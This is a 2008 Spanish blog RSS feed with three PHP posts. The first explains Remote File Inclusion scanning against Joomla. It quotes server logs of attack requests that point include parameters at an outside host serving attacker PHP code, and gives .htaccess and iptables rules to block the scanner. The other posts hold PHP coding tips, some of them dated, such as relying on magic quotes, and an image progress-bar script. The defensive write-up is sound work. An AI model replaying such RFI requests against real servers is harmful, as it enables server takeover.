<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EntreBits &#187; PHP</title>
	<atom:link href="http://rd.entrebits.com.mx/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://rd.entrebits.com.mx</link>
	<description>Blog sobre todo lo que se puede encontrar navegando entre bits</description>
	<lastBuildDate>Sat, 06 Sep 2008 05:01:32 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Seguridad: protegete de espías 2</title>
		<link>http://rd.entrebits.com.mx/2008/04/22/seguridad-protegete-de-espias-2/</link>
		<comments>http://rd.entrebits.com.mx/2008/04/22/seguridad-protegete-de-espias-2/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 22:44:32 +0000</pubDate>
		<dc:creator>Rodrigo</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Opinión]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://rd.entrebits.com.mx/?p=23</guid>
		<description><![CDATA[En el post anterior hablaba de intrusos que buscan detectar vulnerabilidades de algunos scripts.
Bueno pues veo que cada vez hay un mayor número de estas &#8220;herramientas&#8221; (para kiddies) que no hacen otra cosa que hacernos perder el tiempo.
Voy a dedicar una sección en este blog para hablar acerca de estas herramientas, pero primero, lo primero.
217.118.2.160 [...]]]></description>
			<content:encoded><![CDATA[<p>En el post anterior hablaba de intrusos que buscan detectar vulnerabilidades de algunos scripts.</p>
<p>Bueno pues veo que cada vez hay un mayor número de estas &#8220;herramientas&#8221; (para kiddies) que no hacen otra cosa que hacernos perder el tiempo.</p>
<p>Voy a dedicar una sección en este blog para hablar acerca de estas herramientas, pero primero, lo primero.</p>
<blockquote><p>217.118.2.160 &#8211; - [20/Apr/2008:18:03:37 -0500] &#8220;GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1&#8243; 404 310 &#8220;-&#8221; &#8220;Morfeus Fucking Scanner&#8221;<br />
217.118.2.160 &#8211; - [20/Apr/2008:18:03:37 -0500] &#8220;GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1&#8243; 404 303 &#8220;-&#8221; &#8220;Morfeus Fucking Scanner&#8221;<br />
217.118.2.160 &#8211; - [20/Apr/2008:18:03:37 -0500] &#8220;GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1&#8243; 404 310 &#8220;-&#8221; &#8220;Morfeus Fucking Scanner&#8221;<br />
217.118.2.160 &#8211; - [20/Apr/2008:18:03:37 -0500] &#8220;GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1&#8243; 404 303 &#8220;-&#8221; &#8220;Morfeus Fucking Scanner&#8221;<br />
217.118.2.160 &#8211; - [20/Apr/2008:18:03:37 -0500] &#8220;GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1&#8243; 404 310 &#8220;-&#8221; &#8220;Morfeus Fucking Scanner&#8221;<br />
217.118.2.160 &#8211; - [20/Apr/2008:18:03:37 -0500] &#8220;GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1&#8243; 404 303 &#8220;-&#8221; &#8220;Morfeus Fucking Scanner&#8221;</p></blockquote>
<p>Como podrán ver en esos logs, hacen peticiones hacia archivos específicos. Por el nombre de los directorios se puede deducir claramente que los directorios que buscan pertenecen a la estructura de el CMS Joomla.</p>
<p>Deben de usar un scanner de ips,  por que ni siquiera se tomaron la molestia de verificar si en este servidor hay Joomla instalado (no, no hay, ni lo habrá).</p>
<p>Algunos blogs recomiendan bannear ese user-agent &#8220;Morfeus Fucking Scanner&#8221;, lo cual si serviría temporalmente, ya que cambiando el user-agent del scanner se soluciona el asunto.</p>
<p>Para bloquear ese scanner por medio de su user-agent basta con agregar esto al .htaccess</p>
<p><code>RewriteEngine On<br />
RewriteCond %{HTTP_USER_AGENT} ^Morfeus<br />
RewriteRule ^.*$ - [F]</code><br />
Con estas líneas se le denegaría el acceso al user-agent, pero no a la ip.</p>
<p>Otros recomiendan devolverles el favor a los espías con estas líneas<br />
<code>RewriteEngine On<br />
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]<br />
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]</code><br />
Con las líneas anteriores se hace un forwarding a la misma ip de donde proviene el ataque. Pero al igual que con el código anterior, solo se le denegará el acceso al user-agent y no a la ip.</p>
<p>Yo recomiendo agregar reglas para banear las ips.<br />
<code>iptables -A INPUT -s LAIP -j DROP</code></p>
<p>Pero si no tenemos acceso a las iptables, también podremos bannear a los espías mediante el archivo  .htaccess de la siguiente manera:</p>
<p><code>#Morfeus Fucking Hacker<br />
deny from 217.118.2.160</code></p>
<p>Se que es algo molesto andar editando el archivo cada vez que un nuevo espía se acerque a nosotros, pero es mejor que podemos hacer sino tenemos acceso para bannear desde iptables.</p>
<p>¿Pero que ganan exactamente los espías al encontrar lo que buscan?</p>
<p>Bueno pues pongamos atención a la siguiente línea:</p>
<blockquote><p>217.118.2.160 &#8211; - [20/Apr/2008:18:03:37 -0500] &#8220;GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1&#8243; 404 310 &#8220;-&#8221; &#8220;Morfeus Fucking Scanner&#8221;</p></blockquote>
<p>Lo que buscan hacer se llama <a href="http://es.wikipedia.org/wiki/Remote_File_Inclusion_%28RFI%29">RFI (Remote File Inclusion)</a> que consiste según wikipedia en:</p>
<blockquote><p><strong>Remote File Inclusion</strong>, traducido al español como Inclusión Remota de Archivos &#8211; vulnerabilidad existente solamente en <span class="new">páginas dinámicas</span> en PHP que permite  el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().</p></blockquote>
<p>En pocas palabras ellos cuelgan un archivo en otro servidor (En este caso http://dwlz2.dwlz2.com/~dwlz2/ice.txt) que tiene código PHP que permite al atacante tomar control sobre el servidor, o al menos, usar código PHP para construir scripts para funciones específicas (spam, defaces, craking, etc). Verdaderamente es de <strong>extrema importancia </strong>cuidarnos de este tipo de ataques, ya que muchas cosas se ven comprometidas (Incluso la Base de datos).</p>
]]></content:encoded>
			<wfw:commentRss>http://rd.entrebits.com.mx/2008/04/22/seguridad-protegete-de-espias-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 consejos al programar en PHP</title>
		<link>http://rd.entrebits.com.mx/2008/04/05/10-consejos-al-programar-en-php/</link>
		<comments>http://rd.entrebits.com.mx/2008/04/05/10-consejos-al-programar-en-php/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 08:36:59 +0000</pubDate>
		<dc:creator>Rodrigo</dc:creator>
				<category><![CDATA[Opinión]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://rd.entrebits.com.mx/?p=16</guid>
		<description><![CDATA[Aquí les dejo la lista de mis 10 consejos  al programar en PHP (o al menos es lo que pienso que es lo más óptimo).

Usa el operador ternario
if ($a &#60; $b) return $a;
else return $b;
se podria resumir en:
return $a &#60; $b ? $a : $b;

Usar explode si no se usan expresiones regulares.
La función explode [...]]]></description>
			<content:encoded><![CDATA[<p>Aquí les dejo la lista de mis 10 consejos  al programar en PHP (o al menos es lo que pienso que es lo más óptimo).</p>
<ol>
<li>Usa el operador ternario<br />
<blockquote><p>if ($a &lt; $b) return $a;<br />
else return $b;</p>
<p>se podria resumir en:</p>
<p>return $a &lt; $b ? $a : $b;</p></blockquote>
</li>
<li>Usar explode si no se usan expresiones regulares.<br />
<blockquote><p>La función explode vierte sobre un array los valores contenidos en una cadena delimitados  por un separador, la función split hace lo mismo, pero evalúa las expresiones regulares.</p></blockquote>
</li>
<li>Si no hay control sobre una variable es recomendable verificar que este inicializada.<br />
<blockquote><p>usar isset($variable)</p></blockquote>
</li>
<li>Si hay que usar condiciones anidadas es preferible usar switch a if&#8217;s anidados<br />
<blockquote><p>usar switch</p></blockquote>
</li>
<li>Siempre es bueno codificar claramente, siempre con la idea de que alguien más lo va a ver, aunque no sea así, quien sabe? quizás nos ayude a nosotros mismos más adelante.<br />
<blockquote><p>Es importante usar nombre de variables y funciones que nos den una idea clara de contenido (variables) y  su función.</p></blockquote>
</li>
<li>Usar comillas simples es mucho más rapido.<br />
<blockquote><p>Cuando se usan comillas dobles antes de procesar se revisa la cadena en busca de variables para devolver el valor de ellas. En comillas simples no se hace tal revisión.</p></blockquote>
</li>
<li>Datos especiales<br />
<blockquote><p>cuando elaboramos archivos con datos especiales (por ejemplo un config), es preferible usar constantes.<br />
define(&#8217;DBHOST&#8217;,'localhost&#8217;)  en vez de $dbhost = &#8216;localhost&#8217;;</p></blockquote>
</li>
<li>Cabecera de los archivos.<br />
<blockquote><p>Es recomendable poner datos que identifiquen al archivo con el proyecto, ademas que es una manera rápida para añadir información que ayude a identificar el contenido del archivo.<br />
/**<br />
*<br />
* @Project My Web Project.	@db_functions.php &#8211; Funciones para controlar la base de datos.<br />
* @version: 0.0001   @modificado: 1 enero 2008<br />
* @author: John Doe<br />
*<br />
*/</p></blockquote>
</li>
<li>No escatimes en código por seguridad<br />
<blockquote><p>Aunque tu proyecto sea pequeño, trata de tomar todas las medidas necesarias, usar Magic Quotes es sano. Recuerda que el nivel de seguridad de un sistema, es directamente proporcional a la paranoia de su administrador.</p></blockquote>
</li>
<li>Optimiza Código<br />
<blockquote><p>Trata de ahorrar algunos Kbytes a tus archivos, optimiza tu código al máximo, usa expresiones regulares, recursividad, y classes.</p></blockquote>
</li>
</ol>
<p><img class="alignnone size-medium wp-image-17" title="ninja-coder" src="http://rd.entrebits.com.mx/wp-content/ninja-coder.gif" alt="Ninja Coder" width="75" height="75" /></p>
]]></content:encoded>
			<wfw:commentRss>http://rd.entrebits.com.mx/2008/04/05/10-consejos-al-programar-en-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Barras de progreso dinámicas en PHP</title>
		<link>http://rd.entrebits.com.mx/2008/03/20/barras-de-progreso-dinamicas-en-php/</link>
		<comments>http://rd.entrebits.com.mx/2008/03/20/barras-de-progreso-dinamicas-en-php/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 09:12:00 +0000</pubDate>
		<dc:creator>Rodrigo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[gd]]></category>
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://rd.entrebits.com.mx/2008/03/20/barras-de-progreso-dinamicas-en-php/</guid>
		<description><![CDATA[Bueno, hace unos días que empecé a jugar un poco con la librería GD y PHP, y a la hora de desarollar un sitio, mientras más recicles código es mucho mejor. En esta ocasión hice un pequeño script para crear barras de progreso dinámicas con PHP, este es un ejemplo: 
La imagen que usé de [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno, hace unos días que empecé a jugar un poco con la librería GD y PHP, y a la hora de desarollar un sitio, mientras más recicles código es mucho mejor. En esta ocasión hice un pequeño script para crear barras de progreso dinámicas con PHP, este es un ejemplo: <img src="http://rd.entrebits.com.mx/wp-content/image_bar.php?width=50&amp;palet=0/102/153" alt="Barra de progreso 50% llena" /><br />
La imagen que usé de fondo es esta:  <img src="http://rd.entrebits.com.mx/wp-content/fondo.png" alt="fondo.png" /><code>&lt;?php<br />
/*  variables del porcentaje de largo que queremos mostrar lleno y la paleta de colores en formato RGB (ej: image_bar.php?width=50&amp;palet=0/102/53*/<br />
$width = $_GET['width'];<br />
$palet = $_GET['palet'];<br />
/* verificamos la variable palet que guarda la paleta de colores y separamos los colores RGB*/<br />
if ($palet)<br />
{<br />
$arr_palet = split('/',$palet);<br />
$arraycolor[0] = array($arr_palet[0],	$arr_palet[1],	$arr_palet[2]);<br />
for($i = 1; $i &lt; 9; $i++)<br />
{<br />
if (($arr_palet[0] + 10) &gt; 255) $arr_palet[0] = 255;<br />
else $arr_palet[0] = $arr_palet[0] + 10;<br />
if (($arr_palet[1] + 10) &gt; 255) $arr_palet[1] = 255;<br />
else $arr_palet[1] = $arr_palet[1] + 10;<br />
if (($arr_palet[2] + 10) &gt; 255) $arr_palet[2] = 255;<br />
else $arr_palet[2] = $arr_palet[2] + 10;<br />
$arraycolor[$i] = array($arr_palet[0],	$arr_palet[1],	$arr_palet[2]);<br />
}<br />
}<br />
$data = ($width * 48 / 100);<br />
$data = round($data);<br />
/* Crear imagen a partir de otra*/<br />
$background = @imagecreatefrompng ('fondo.png');<br />
if ($data &gt; 1)<br />
{<br />
$fill1 = imagecreatetruecolor($data,1);<br />
$fill2 = imagecreatetruecolor($data,1);<br />
$fill3 = imagecreatetruecolor($data,1);<br />
$fill4 = imagecreatetruecolor($data,1);<br />
$fill5 = imagecreatetruecolor($data,1);<br />
$fill6 = imagecreatetruecolor($data,1);<br />
	$fill7 = imagecreatetruecolor($data,1);<br />
	$fill8 = imagecreatetruecolor($data,1);<br />
	$fill9 = imagecreatetruecolor($data,1);<br />
	$colors = array(<br />
						array(<br />
								array('62','125','179'),	array('72','133','184'),	array('82','140','190'),<br />
								array('93','149','195'),	array('103','157','200'),	array('114','165','206'),<br />
								array('127','174','211'),	array('135','182','216'),	array('190','190','221')<br />
							),<br />
						array(<br />
								array('181','59','59'),		array('189','69','69'),		array('191','80','80'),<br />
								array('197','90','90'),		array('202','101','101'),	array('208','111','111'),<br />
								array('213','121','121'),	array('218','132','132'),	array('223','142','142')<br />
							),<br />
						array(<br />
								array('10','60','70'),		array('20','70','80'),		array('30','80','90'),<br />
								array('40','90','100'),		array('50','101','110'),	array('60','111','120'),<br />
								array('70','121','130'),	array('80','132','140'),	array('90','142','150')<br />
							),<br />
							$arraycolor<br />
					);<br />
	/* creamos los colores a usar */<br />
	$c1 = imagecolorallocate($fill1, $colors[$color][0][0], $colors[$color][0][1], $colors[$color][0][2]); //Background<br />
	$c2 = imagecolorallocate($fill2, $colors[$color][1][0], $colors[$color][1][1], $colors[$color][1][2]); //Background<br />
	$c3 = imagecolorallocate($fill3, $colors[$color][2][0], $colors[$color][2][1], $colors[$color][2][2]); //Background<br />
	$c4 = imagecolorallocate($fill4, $colors[$color][3][0], $colors[$color][3][1], $colors[$color][3][2]); //Background<br />
	$c5 = imagecolorallocate($fill5, $colors[$color][4][0], $colors[$color][4][1], $colors[$color][4][2]); //Background<br />
	$c6 = imagecolorallocate($fill6, $colors[$color][5][0], $colors[$color][5][1], $colors[$color][5][2]); //Background<br />
	$c7 = imagecolorallocate($fill7, $colors[$color][6][0], $colors[$color][6][1], $colors[$color][6][2]); //Background<br />
	$c8 = imagecolorallocate($fill8, $colors[$color][7][0], $colors[$color][7][1], $colors[$color][7][2]); //Background<br />
	$c9 = imagecolorallocate($fill9, $colors[$color][8][0], $colors[$color][8][1], $colors[$color][8][2]); //Background<br />
	/* formamos el degradado */<br />
	imagefilledrectangle($fill1, 0, 0, $data, 1, $c1);<br />
	imagefilledrectangle($fill2, 0, 0, $data, 1, $c2);<br />
	imagefilledrectangle($fill3, 0, 0, $data, 1, $c3);<br />
	imagefilledrectangle($fill4, 0, 0, $data, 1, $c4);<br />
	imagefilledrectangle($fill5, 0, 0, $data, 1, $c5);<br />
	imagefilledrectangle($fill6, 0, 0, $data, 1, $c6);<br />
	imagefilledrectangle($fill7, 0, 0, $data, 1, $c7);<br />
	imagefilledrectangle($fill8, 0, 0, $data, 1, $c8);<br />
	imagefilledrectangle($fill9, 0, 0, $data, 1, $c9);<br />
	/* formamos la barra de progreso*/<br />
	imagecopy($background,$fill1,1,9,0,0,$data,1);<br />
	imagecopy($background,$fill2,1,8,0,0,$data,1);<br />
	imagecopy($background,$fill3,1,7,0,0,$data,1);<br />
	imagecopy($background,$fill4,1,6,0,0,$data,1);<br />
	imagecopy($background,$fill5,1,5,0,0,$data,1);<br />
	imagecopy($background,$fill6,1,4,0,0,$data,1);<br />
	imagecopy($background,$fill7,1,3,0,0,$data,1);<br />
	imagecopy($background,$fill8,1,2,0,0,$data,1);<br />
	imagecopy($background,$fill9,1,1,0,0,$data,1);<br />
}<br />
/* mandamos las cabeceras, el archivo es una imagen*/<br />
header("Content-type: image/png");<br />
/* mandamos la imagen */<br />
imagepng($background);<br />
?></code></p>
<pre>
Modo de uso:
image_bar.php?width=porcentaje&#038;palet=R/G/B
</pre>
]]></content:encoded>
			<wfw:commentRss>http://rd.entrebits.com.mx/2008/03/20/barras-de-progreso-dinamicas-en-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
